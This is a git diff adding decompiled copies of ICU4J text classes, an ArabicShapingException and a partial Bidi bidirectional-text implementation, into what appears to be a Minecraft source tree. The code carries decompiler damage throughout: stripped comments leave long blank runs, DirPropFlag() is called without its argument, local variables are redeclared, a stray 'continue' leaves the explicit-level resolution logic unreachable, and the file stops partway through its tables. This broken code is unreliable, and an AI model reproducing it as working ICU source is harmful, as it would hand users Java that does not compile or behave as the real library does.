diff --git a/src/minecraft/com/ibm/icu/text/ArabicShapingException.java b/src/minecraft/com/ibm/icu/text/ArabicShapingException.java
new file mode 100644
index 0000000..2dc920c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ArabicShapingException.java
@@ -0,0 +1,26 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+public final class ArabicShapingException
+  extends Exception
+{
+  static final long serialVersionUID = 5261531805497260490L;
+  
+
+
+
+
+
+
+
+  public ArabicShapingException(String message)
+  {
+    super(message);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/Bidi.java b/src/minecraft/com/ibm/icu/text/Bidi.java
new file mode 100644
index 0000000..1fc964f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/Bidi.java
@@ -0,0 +1,5124 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.UBiDiProps;
+import com.ibm.icu.lang.UCharacter;
+import java.awt.font.NumericShaper;
+import java.awt.font.TextAttribute;
+import java.lang.reflect.Array;
+import java.text.AttributedCharacterIterator;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Bidi
+{
+  public static final byte LEVEL_DEFAULT_LTR = 126;
+  public static final byte LEVEL_DEFAULT_RTL = 127;
+  public static final byte MAX_EXPLICIT_LEVEL = 61;
+  public static final byte LEVEL_OVERRIDE = -128;
+  public static final int MAP_NOWHERE = -1;
+  public static final byte LTR = 0;
+  public static final byte RTL = 1;
+  public static final byte MIXED = 2;
+  public static final byte NEUTRAL = 3;
+  public static final short KEEP_BASE_COMBINING = 1;
+  public static final short DO_MIRRORING = 2;
+  public static final short INSERT_LRM_FOR_NUMERIC = 4;
+  public static final short REMOVE_BIDI_CONTROLS = 8;
+  public static final short OUTPUT_REVERSE = 16;
+  public static final short REORDER_DEFAULT = 0;
+  public static final short REORDER_NUMBERS_SPECIAL = 1;
+  public static final short REORDER_GROUP_NUMBERS_WITH_R = 2;
+  public static final short REORDER_RUNS_ONLY = 3;
+  public static final short REORDER_INVERSE_NUMBERS_AS_L = 4;
+  public static final short REORDER_INVERSE_LIKE_DIRECT = 5;
+  public static final short REORDER_INVERSE_FOR_NUMBERS_SPECIAL = 6;
+  static final short REORDER_COUNT = 7;
+  static final short REORDER_LAST_LOGICAL_TO_VISUAL = 1;
+  public static final int OPTION_DEFAULT = 0;
+  public static final int OPTION_INSERT_MARKS = 1;
+  public static final int OPTION_REMOVE_CONTROLS = 2;
+  public static final int OPTION_STREAMING = 4;
+  static final byte L = 0;
+  static final byte R = 1;
+  static final byte EN = 2;
+  static final byte ES = 3;
+  static final byte ET = 4;
+  static final byte AN = 5;
+  static final byte CS = 6;
+  static final byte B = 7;
+  static final byte S = 8;
+  static final byte WS = 9;
+  static final byte ON = 10;
+  static final byte LRE = 11;
+  static final byte LRO = 12;
+  static final byte AL = 13;
+  static final byte RLE = 14;
+  static final byte RLO = 15;
+  static final byte PDF = 16;
+  static final byte NSM = 17;
+  static final byte BN = 18;
+  static final int MASK_R_AL = 8194;
+  public static final int CLASS_DEFAULT = 19;
+  private static final char CR = '\r';
+  private static final char LF = '\n';
+  static final int LRM_BEFORE = 1;
+  static final int LRM_AFTER = 2;
+  static final int RLM_BEFORE = 4;
+  static final int RLM_AFTER = 8;
+  Bidi paraBidi;
+  final UBiDiProps bdp;
+  char[] text;
+  int originalLength;
+  int length;
+  int resultLength;
+  boolean mayAllocateText;
+  boolean mayAllocateRuns;
+  
+  static class Point
+  {
+    int pos;
+    int flag;
+    
+    Point() {}
+  }
+  
+  static class InsertPoints
+  {
+    int size;
+    int confirmed;
+    Bidi.Point[] points = new Bidi.Point[0];
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    InsertPoints() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  byte[] dirPropsMemory = new byte[1];
+  byte[] levelsMemory = new byte[1];
+  
+
+  byte[] dirProps;
+  
+
+  byte[] levels;
+  
+
+  boolean isInverse;
+  
+
+  int reorderingMode;
+  
+
+  int reorderingOptions;
+  
+
+  boolean orderParagraphsLTR;
+  
+
+  byte paraLevel;
+  
+
+  byte defaultParaLevel;
+  
+
+  String prologue;
+  
+
+  String epilogue;
+  
+  ImpTabPair impTabPair;
+  
+  byte direction;
+  
+  int flags;
+  
+  int lastArabicPos;
+  
+  int trailingWSStart;
+  
+  int paraCount;
+  
+  int[] parasMemory = new int[1];
+  
+
+  int[] paras;
+  
+  int[] simpleParas = { 0 };
+  
+  int runCount;
+  
+  BidiRun[] runsMemory = new BidiRun[0];
+  
+  BidiRun[] runs;
+  
+  BidiRun[] simpleRuns = { new BidiRun() };
+  
+
+  int[] logicalToVisualRunsMap;
+  
+
+  boolean isGoodLogicalToVisualRunsMap;
+  
+  BidiClassifier customClassifier = null;
+  
+
+  InsertPoints insertPoints = new InsertPoints();
+  
+
+  int controlCount;
+  
+  static final byte CONTEXT_RTL_SHIFT = 6;
+  
+  static final byte CONTEXT_RTL = 64;
+  
+
+  static int DirPropFlag(byte dir)
+  {
+    return 1 << dir;
+  }
+  
+  boolean testDirPropFlagAt(int flag, int index) {
+    return (DirPropFlag((byte)(dirProps[index] & 0xFFFFFFBF)) & flag) != 0;
+  }
+  
+
+
+
+
+
+
+  static byte NoContextRTL(byte dir)
+  {
+    return (byte)(dir & 0xFFFFFFBF);
+  }
+  
+
+
+
+  static int DirPropFlagNC(byte dir)
+  {
+    return 1 << (dir & 0xFFFFFFBF);
+  }
+  
+  static final int DirPropFlagMultiRuns = DirPropFlag();
+  
+
+  static final int[] DirPropFlagLR = { DirPropFlag(0), DirPropFlag(1) };
+  static final int[] DirPropFlagE = { DirPropFlag(11), DirPropFlag(14) };
+  static final int[] DirPropFlagO = { DirPropFlag(12), DirPropFlag(15) };
+  
+  static final int DirPropFlagLR(byte level) { return DirPropFlagLR[(level & 0x1)]; }
+  static final int DirPropFlagE(byte level) { return DirPropFlagE[(level & 0x1)]; }
+  static final int DirPropFlagO(byte level) { return DirPropFlagO[(level & 0x1)]; }
+  
+
+
+
+  static final int MASK_LTR = DirPropFlag((byte)0) | DirPropFlag((byte)2) | DirPropFlag((byte)5) | DirPropFlag((byte)11) | DirPropFlag((byte)12);
+  
+
+
+
+
+  static final int MASK_RTL = DirPropFlag((byte)1) | DirPropFlag((byte)13) | DirPropFlag((byte)14) | DirPropFlag((byte)15);
+  
+
+  static final int MASK_LRX = DirPropFlag((byte)11) | DirPropFlag((byte)12);
+  static final int MASK_RLX = DirPropFlag((byte)14) | DirPropFlag((byte)15);
+  static final int MASK_OVERRIDE = DirPropFlag((byte)12) | DirPropFlag((byte)15);
+  static final int MASK_EXPLICIT = MASK_LRX | MASK_RLX | DirPropFlag((byte)16);
+  static final int MASK_BN_EXPLICIT = DirPropFlag((byte)18) | MASK_EXPLICIT;
+  
+
+  static final int MASK_B_S = DirPropFlag((byte)7) | DirPropFlag((byte)8);
+  
+
+  static final int MASK_WS = MASK_B_S | DirPropFlag((byte)9) | MASK_BN_EXPLICIT;
+  static final int MASK_N = DirPropFlag((byte)10) | MASK_WS;
+  
+
+
+  static final int MASK_ET_NSM_BN = DirPropFlag((byte)4) | DirPropFlag((byte)17) | MASK_BN_EXPLICIT;
+  
+
+  static final int MASK_POSSIBLE_N = DirPropFlag((byte)6) | DirPropFlag((byte)3) | DirPropFlag((byte)4) | MASK_N;
+  
+
+
+
+
+
+  static final int MASK_EMBEDDING = DirPropFlag((byte)17) | MASK_POSSIBLE_N;
+  
+  private static final int IMPTABPROPS_COLUMNS = 14;
+  private static final int IMPTABPROPS_RES = 13;
+  
+  static byte GetLRFromLevel(byte level)
+  {
+    return (byte)(level & 0x1);
+  }
+  
+  static boolean IsDefaultLevel(byte level)
+  {
+    return (level & 0x7E) == 126;
+  }
+  
+  byte GetParaLevelAt(int index)
+  {
+    return defaultParaLevel != 0 ? (byte)(dirProps[index] >> 6) : paraLevel;
+  }
+  
+
+
+
+  static boolean IsBidiControlChar(int c)
+  {
+    return ((c & 0xFFFFFFFC) == 8204) || ((c >= 8234) && (c <= 8238));
+  }
+  
+  void verifyValidPara()
+  {
+    if (this != paraBidi) {
+      throw new IllegalStateException();
+    }
+  }
+  
+  void verifyValidParaOrLine()
+  {
+    Bidi para = paraBidi;
+    
+    if (this == para) {
+      return;
+    }
+    
+    if ((para == null) || (para != paraBidi)) {
+      throw new IllegalStateException();
+    }
+  }
+  
+  void verifyRange(int index, int start, int limit)
+  {
+    if ((index < start) || (index >= limit)) {
+      throw new IllegalArgumentException("Value " + index + " is out of range " + start + " to " + limit);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi()
+  {
+    this(0, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Bidi(int maxLength, int maxRunCount)
+  {
+    if ((maxLength < 0) || (maxRunCount < 0)) {
+      throw new IllegalArgumentException();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    bdp = UBiDiProps.INSTANCE;
+    
+
+    if (maxLength > 0) {
+      getInitialDirPropsMemory(maxLength);
+      getInitialLevelsMemory(maxLength);
+    } else {
+      mayAllocateText = true;
+    }
+    
+    if (maxRunCount > 0)
+    {
+      if (maxRunCount > 1) {
+        getInitialRunsMemory(maxRunCount);
+      }
+    } else {
+      mayAllocateRuns = true;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private Object getMemory(String label, Object array, Class<?> arrayClass, boolean mayAllocate, int sizeNeeded)
+  {
+    int len = Array.getLength(array);
+    
+
+    if (sizeNeeded == len) {
+      return array;
+    }
+    if (!mayAllocate)
+    {
+      if (sizeNeeded <= len) {
+        return array;
+      }
+      throw new OutOfMemoryError("Failed to allocate memory for " + label);
+    }
+    
+
+
+    try
+    {
+      return Array.newInstance(arrayClass, sizeNeeded);
+    } catch (Exception e) {
+      throw new OutOfMemoryError("Failed to allocate memory for " + label);
+    }
+  }
+  
+
+
+  private void getDirPropsMemory(boolean mayAllocate, int len)
+  {
+    Object array = getMemory("DirProps", dirPropsMemory, Byte.TYPE, mayAllocate, len);
+    dirPropsMemory = ((byte[])array);
+  }
+  
+  void getDirPropsMemory(int len)
+  {
+    getDirPropsMemory(mayAllocateText, len);
+  }
+  
+  private void getLevelsMemory(boolean mayAllocate, int len)
+  {
+    Object array = getMemory("Levels", levelsMemory, Byte.TYPE, mayAllocate, len);
+    levelsMemory = ((byte[])array);
+  }
+  
+  void getLevelsMemory(int len)
+  {
+    getLevelsMemory(mayAllocateText, len);
+  }
+  
+  private void getRunsMemory(boolean mayAllocate, int len)
+  {
+    Object array = getMemory("Runs", runsMemory, BidiRun.class, mayAllocate, len);
+    runsMemory = ((BidiRun[])array);
+  }
+  
+  void getRunsMemory(int len)
+  {
+    getRunsMemory(mayAllocateRuns, len);
+  }
+  
+
+  private void getInitialDirPropsMemory(int len)
+  {
+    getDirPropsMemory(true, len);
+  }
+  
+  private void getInitialLevelsMemory(int len)
+  {
+    getLevelsMemory(true, len);
+  }
+  
+  private void getInitialParasMemory(int len)
+  {
+    Object array = getMemory("Paras", parasMemory, Integer.TYPE, true, len);
+    parasMemory = ((int[])array);
+  }
+  
+  private void getInitialRunsMemory(int len)
+  {
+    getRunsMemory(true, len);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setInverse(boolean isInverse)
+  {
+    this.isInverse = isInverse;
+    reorderingMode = (isInverse ? 4 : 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isInverse()
+  {
+    return isInverse;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setReorderingMode(int reorderingMode)
+  {
+    if ((reorderingMode < 0) || (reorderingMode >= 7))
+    {
+      return; }
+    this.reorderingMode = reorderingMode;
+    isInverse = (reorderingMode == 4);
+  }
+  
+
+
+
+
+
+
+
+
+  public int getReorderingMode()
+  {
+    return reorderingMode;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setReorderingOptions(int options)
+  {
+    if ((options & 0x2) != 0) {
+      reorderingOptions = (options & 0xFFFFFFFE);
+    } else {
+      reorderingOptions = options;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public int getReorderingOptions()
+  {
+    return reorderingOptions;
+  }
+  
+
+
+
+
+
+  private byte firstL_R_AL()
+  {
+    byte result = 10;
+    for (int i = 0; i < prologue.length();) {
+      int uchar = prologue.codePointAt(i);
+      i += Character.charCount(uchar);
+      byte dirProp = (byte)getCustomizedClass(uchar);
+      if (result == 10) {
+        if ((dirProp == 0) || (dirProp == 1) || (dirProp == 13)) {
+          result = dirProp;
+        }
+      }
+      else if (dirProp == 7) {
+        result = 10;
+      }
+    }
+    
+    return result;
+  }
+  
+  private void getDirProps()
+  {
+    int i = 0;
+    flags = 0;
+    
+
+    byte paraDirDefault = 0;
+    boolean isDefaultLevel = IsDefaultLevel(paraLevel);
+    
+
+    boolean isDefaultLevelInverse = (isDefaultLevel) && ((reorderingMode == 5) || (reorderingMode == 6));
+    
+
+    lastArabicPos = -1;
+    controlCount = 0;
+    boolean removeBidiControls = (reorderingOptions & 0x2) != 0;
+    
+    int NOT_CONTEXTUAL = 0;
+    int LOOKING_FOR_STRONG = 1;
+    int FOUND_STRONG_CHAR = 2;
+    
+
+    int paraStart = 0;
+    
+
+    byte lastStrongDir = 0;
+    int lastStrongLTR = 0;
+    
+    if ((reorderingOptions & 0x4) > 0) {
+      length = 0;
+      lastStrongLTR = 0; }
+    int state;
+    byte paraDir; if (isDefaultLevel)
+    {
+      paraDirDefault = (paraLevel & 0x1) != 0 ? 64 : 0;
+      byte lastStrong; int state; if ((prologue != null) && ((lastStrong = firstL_R_AL()) != 10))
+      {
+        byte paraDir = lastStrong == 0 ? 0 : 64;
+        state = 2;
+      } else {
+        byte paraDir = paraDirDefault;
+        state = 1;
+      }
+      int state = 1;
+    } else {
+      state = 0;
+      paraDir = 0;
+    }
+    
+
+
+
+
+
+
+    for (i = 0; i < originalLength;) {
+      int i0 = i;
+      int uchar = UTF16.charAt(text, 0, originalLength, i);
+      i += UTF16.getCharCount(uchar);
+      int i1 = i - 1;
+      
+      byte dirProp = (byte)getCustomizedClass(uchar);
+      flags |= DirPropFlag(dirProp);
+      dirProps[i1] = ((byte)(dirProp | paraDir));
+      if (i1 > i0) {
+        flags |= DirPropFlag((byte)18);
+        do {
+          dirProps[(--i1)] = ((byte)(0x12 | paraDir));
+        } while (i1 > i0);
+      }
+      if (state == 1) {
+        if (dirProp == 0) {
+          state = 2;
+          if (paraDir == 0) continue;
+          paraDir = 0;
+          for (i1 = paraStart; i1 < i; i1++) {
+            int tmp336_335 = i1; byte[] tmp336_332 = dirProps;tmp336_332[tmp336_335] = ((byte)(tmp336_332[tmp336_335] & 0xFFFFFFBF));
+          }
+          
+          continue;
+        }
+        if ((dirProp == 1) || (dirProp == 13)) {
+          state = 2;
+          if (paraDir != 0) continue;
+          paraDir = 64;
+          for (i1 = paraStart; i1 < i; i1++) {
+            int tmp387_386 = i1; byte[] tmp387_383 = dirProps;tmp387_383[tmp387_386] = ((byte)(tmp387_383[tmp387_386] | 0x40));
+          }
+          
+          continue;
+        }
+      }
+      if (dirProp == 0) {
+        lastStrongDir = 0;
+        lastStrongLTR = i;
+      }
+      else if (dirProp == 1) {
+        lastStrongDir = 64;
+      }
+      else if (dirProp == 13) {
+        lastStrongDir = 64;
+        lastArabicPos = (i - 1);
+      }
+      else if (dirProp == 7) {
+        if ((reorderingOptions & 0x4) != 0) {
+          length = i;
+        }
+        if ((isDefaultLevelInverse) && (lastStrongDir == 64) && (paraDir != lastStrongDir)) {
+          for (; paraStart < i; paraStart++) {
+            int tmp500_498 = paraStart; byte[] tmp500_495 = dirProps;tmp500_495[tmp500_498] = ((byte)(tmp500_495[tmp500_498] | 0x40));
+          }
+        }
+        if (i < originalLength) {
+          if ((uchar != 13) || (text[i] != '\n')) {
+            paraCount += 1;
+          }
+          if (isDefaultLevel) {
+            state = 1;
+            paraStart = i;
+            paraDir = paraDirDefault;
+            lastStrongDir = paraDirDefault;
+          }
+        }
+      }
+      if ((removeBidiControls) && (IsBidiControlChar(uchar))) {
+        controlCount += 1;
+      }
+    }
+    if ((isDefaultLevelInverse) && (lastStrongDir == 64) && (paraDir != lastStrongDir)) {
+      for (int i1 = paraStart; i1 < originalLength; i1++) {
+        int tmp629_628 = i1; byte[] tmp629_625 = dirProps;tmp629_625[tmp629_628] = ((byte)(tmp629_625[tmp629_628] | 0x40));
+      }
+    }
+    if (isDefaultLevel) {
+      paraLevel = GetParaLevelAt(0);
+    }
+    if ((reorderingOptions & 0x4) > 0) {
+      if ((lastStrongLTR > length) && (GetParaLevelAt(lastStrongLTR) == 0))
+      {
+        length = lastStrongLTR;
+      }
+      if (length < originalLength) {
+        paraCount -= 1;
+      }
+    }
+    
+
+    flags |= DirPropFlagLR(paraLevel);
+    
+    if ((orderParagraphsLTR) && ((flags & DirPropFlag((byte)7)) != 0)) {
+      flags |= DirPropFlag((byte)0);
+    }
+  }
+  
+
+
+
+  private byte directionFromFlags()
+  {
+    if (((flags & MASK_RTL) == 0) && (((flags & DirPropFlag((byte)5)) == 0) || ((flags & MASK_POSSIBLE_N) == 0)))
+    {
+
+      return 0; }
+    if ((flags & MASK_LTR) == 0) {
+      return 1;
+    }
+    return 2;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private byte resolveExplicitLevels()
+  {
+    int i = 0;
+    
+    byte level = GetParaLevelAt(0);
+    
+
+    int paraIndex = 0;
+    
+
+    byte dirct = directionFromFlags();
+    
+
+
+    if ((dirct == 2) || (paraCount != 1))
+    {
+      if ((paraCount == 1) && (((flags & MASK_EXPLICIT) == 0) || (reorderingMode > 1)))
+      {
+
+
+
+
+
+        for (i = 0; i < length;) {
+          levels[i] = level;i++; continue;
+          
+
+
+
+
+
+          byte embeddingLevel = level;
+          
+          byte stackTop = 0;
+          
+          byte[] stack = new byte[61];
+          int countOver60 = 0;
+          int countOver61 = 0;
+          
+
+          flags = 0;
+          
+          for (i = 0; i < length; i++) {
+            byte dirProp = NoContextRTL(dirProps[i]);
+            byte newLevel; switch (dirProp)
+            {
+            case 11: 
+            case 12: 
+              newLevel = (byte)(embeddingLevel + 2 & 0x7E);
+              if (newLevel <= 61) {
+                stack[stackTop] = embeddingLevel;
+                stackTop = (byte)(stackTop + 1);
+                embeddingLevel = newLevel;
+                if (dirProp == 12) {
+                  embeddingLevel = (byte)(embeddingLevel | 0xFFFFFF80);
+
+                }
+                
+
+              }
+              else if ((embeddingLevel & 0x7F) == 61) {
+                countOver61++;
+              } else {
+                countOver60++;
+              }
+              flags |= DirPropFlag((byte)18);
+              break;
+            
+            case 14: 
+            case 15: 
+              newLevel = (byte)((embeddingLevel & 0x7F) + 1 | 0x1);
+              if (newLevel <= 61) {
+                stack[stackTop] = embeddingLevel;
+                stackTop = (byte)(stackTop + 1);
+                embeddingLevel = newLevel;
+                if (dirProp == 15) {
+                  embeddingLevel = (byte)(embeddingLevel | 0xFFFFFF80);
+                }
+                
+
+              }
+              else
+              {
+                countOver61++;
+              }
+              flags |= DirPropFlag((byte)18);
+              break;
+            
+
+            case 16: 
+              if (countOver61 > 0) {
+                countOver61--;
+              } else if ((countOver60 > 0) && ((embeddingLevel & 0x7F) != 61))
+              {
+                countOver60--;
+              } else if (stackTop > 0)
+              {
+                stackTop = (byte)(stackTop - 1);
+                embeddingLevel = stack[stackTop];
+              }
+              
+              flags |= DirPropFlag((byte)18);
+              break;
+            case 7: 
+              stackTop = 0;
+              countOver60 = 0;
+              countOver61 = 0;
+              level = GetParaLevelAt(i);
+              if (i + 1 < length) {
+                embeddingLevel = GetParaLevelAt(i + 1);
+                if ((text[i] != '\r') || (text[(i + 1)] != '\n')) {
+                  paras[(paraIndex++)] = (i + 1);
+                }
+              }
+              flags |= DirPropFlag((byte)7);
+              break;
+            
+
+            case 18: 
+              flags |= DirPropFlag((byte)18);
+              break;
+            case 8: case 9: case 10: 
+            case 13: case 17: default: 
+              if (level != embeddingLevel) {
+                level = embeddingLevel;
+                if ((level & 0xFFFFFF80) != 0) {
+                  flags |= DirPropFlagO(level) | DirPropFlagMultiRuns;
+                } else {
+                  flags |= DirPropFlagE(level) | DirPropFlagMultiRuns;
+                }
+              }
+              if ((level & 0xFFFFFF80) == 0) {
+                flags |= DirPropFlag(dirProp);
+              }
+              
+
+              break;
+            }
+            
+            
+
+            levels[i] = level;
+          }
+          if ((flags & MASK_EMBEDDING) != 0) {
+            flags |= DirPropFlagLR(paraLevel);
+          }
+          if ((orderParagraphsLTR) && ((flags & DirPropFlag((byte)7)) != 0)) {
+            flags |= DirPropFlag((byte)0);
+          }
+          
+
+
+
+          dirct = directionFromFlags();
+        } }
+    }
+    return dirct;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private byte checkExplicitLevels()
+  {
+    flags = 0;
+    
+    int paraIndex = 0;
+    
+    for (int i = 0; i < length; i++) {
+      byte level = levels[i];
+      byte dirProp = NoContextRTL(dirProps[i]);
+      if ((level & 0xFFFFFF80) != 0)
+      {
+        level = (byte)(level & 0x7F);
+        flags |= DirPropFlagO(level);
+      }
+      else {
+        flags |= DirPropFlagE(level) | DirPropFlag(dirProp);
+      }
+      if (((level < GetParaLevelAt(i)) && ((0 != level) || (dirProp != 7))) || (61 < level))
+      {
+
+
+        throw new IllegalArgumentException("level " + level + " out of bounds at " + i);
+      }
+      
+      if ((dirProp == 7) && (i + 1 < length) && (
+        (text[i] != '\r') || (text[(i + 1)] != '\n'))) {
+        paras[(paraIndex++)] = (i + 1);
+      }
+    }
+    
+    if ((flags & MASK_EMBEDDING) != 0) {
+      flags |= DirPropFlagLR(paraLevel);
+    }
+    
+
+    return directionFromFlags();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static short GetStateProps(short cell)
+  {
+    return (short)(cell & 0x1F);
+  }
+  
+  private static short GetActionProps(short cell) { return (short)(cell >> 5); }
+  
+
+  private static final short[] groupProp = { 0, 1, 2, 7, 8, 3, 9, 6, 5, 4, 4, 10, 10, 12, 10, 10, 10, 11, 10 };
+  
+
+
+
+
+  private static final short _L = 0;
+  
+
+
+
+
+  private static final short _R = 1;
+  
+
+
+
+
+  private static final short _EN = 2;
+  
+
+
+
+
+  private static final short _AN = 3;
+  
+
+
+
+
+  private static final short _ON = 4;
+  
+
+
+
+
+  private static final short _S = 5;
+  
+
+
+
+
+  private static final short _B = 6;
+  
+
+
+
+  private static final short[][] impTabProps = { { 1, 2, 4, 5, 7, 15, 17, 7, 9, 7, 0, 7, 3, 4 }, { 1, 34, 36, 37, 39, 47, 49, 39, 41, 39, 1, 1, 35, 0 }, { 33, 2, 36, 37, 39, 47, 49, 39, 41, 39, 2, 2, 35, 1 }, { 33, 34, 38, 38, 40, 48, 49, 40, 40, 40, 3, 3, 3, 1 }, { 33, 34, 4, 37, 39, 47, 49, 74, 11, 74, 4, 4, 35, 2 }, { 33, 34, 36, 5, 39, 47, 49, 39, 41, 76, 5, 5, 35, 3 }, { 33, 34, 6, 6, 40, 48, 49, 40, 40, 77, 6, 6, 35, 3 }, { 33, 34, 36, 37, 7, 47, 49, 7, 78, 7, 7, 7, 35, 4 }, { 33, 34, 38, 38, 8, 48, 49, 8, 8, 8, 8, 8, 35, 4 }, { 33, 34, 4, 37, 7, 47, 49, 7, 9, 7, 9, 9, 35, 4 }, { 97, 98, 4, 101, 135, 111, 113, 135, 142, 135, 10, 135, 99, 2 }, { 33, 34, 4, 37, 39, 47, 49, 39, 11, 39, 11, 11, 35, 2 }, { 97, 98, 100, 5, 135, 111, 113, 135, 142, 135, 12, 135, 99, 3 }, { 97, 98, 6, 6, 136, 112, 113, 136, 136, 136, 13, 136, 99, 3 }, { 33, 34, 132, 37, 7, 47, 49, 7, 14, 7, 14, 14, 35, 4 }, { 33, 34, 36, 37, 39, 15, 49, 39, 41, 39, 15, 39, 35, 5 }, { 33, 34, 38, 38, 40, 16, 49, 40, 40, 40, 16, 40, 35, 5 }, { 33, 34, 36, 37, 39, 47, 17, 39, 41, 39, 17, 39, 35, 6 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int IMPTABLEVELS_COLUMNS = 8;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int IMPTABLEVELS_RES = 7;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static short GetState(byte cell) { return (short)(cell & 0xF); }
+  private static short GetAction(byte cell) { return (short)(cell >> 4); }
+  
+  private static class ImpTabPair
+  {
+    byte[][][] imptab;
+    short[][] impact;
+    
+    ImpTabPair(byte[][] table1, byte[][] table2, short[] act1, short[] act2) {
+      imptab = new byte[][][] { table1, table2 };
+      impact = new short[][] { act1, act2 };
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[][] impTabL_DEFAULT = { { 0, 1, 0, 2, 0, 0, 0, 0 }, { 0, 1, 3, 3, 20, 20, 0, 1 }, { 0, 1, 0, 2, 21, 21, 0, 2 }, { 0, 1, 3, 3, 20, 20, 0, 2 }, { 32, 1, 3, 3, 4, 4, 32, 1 }, { 32, 1, 32, 2, 5, 5, 32, 1 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
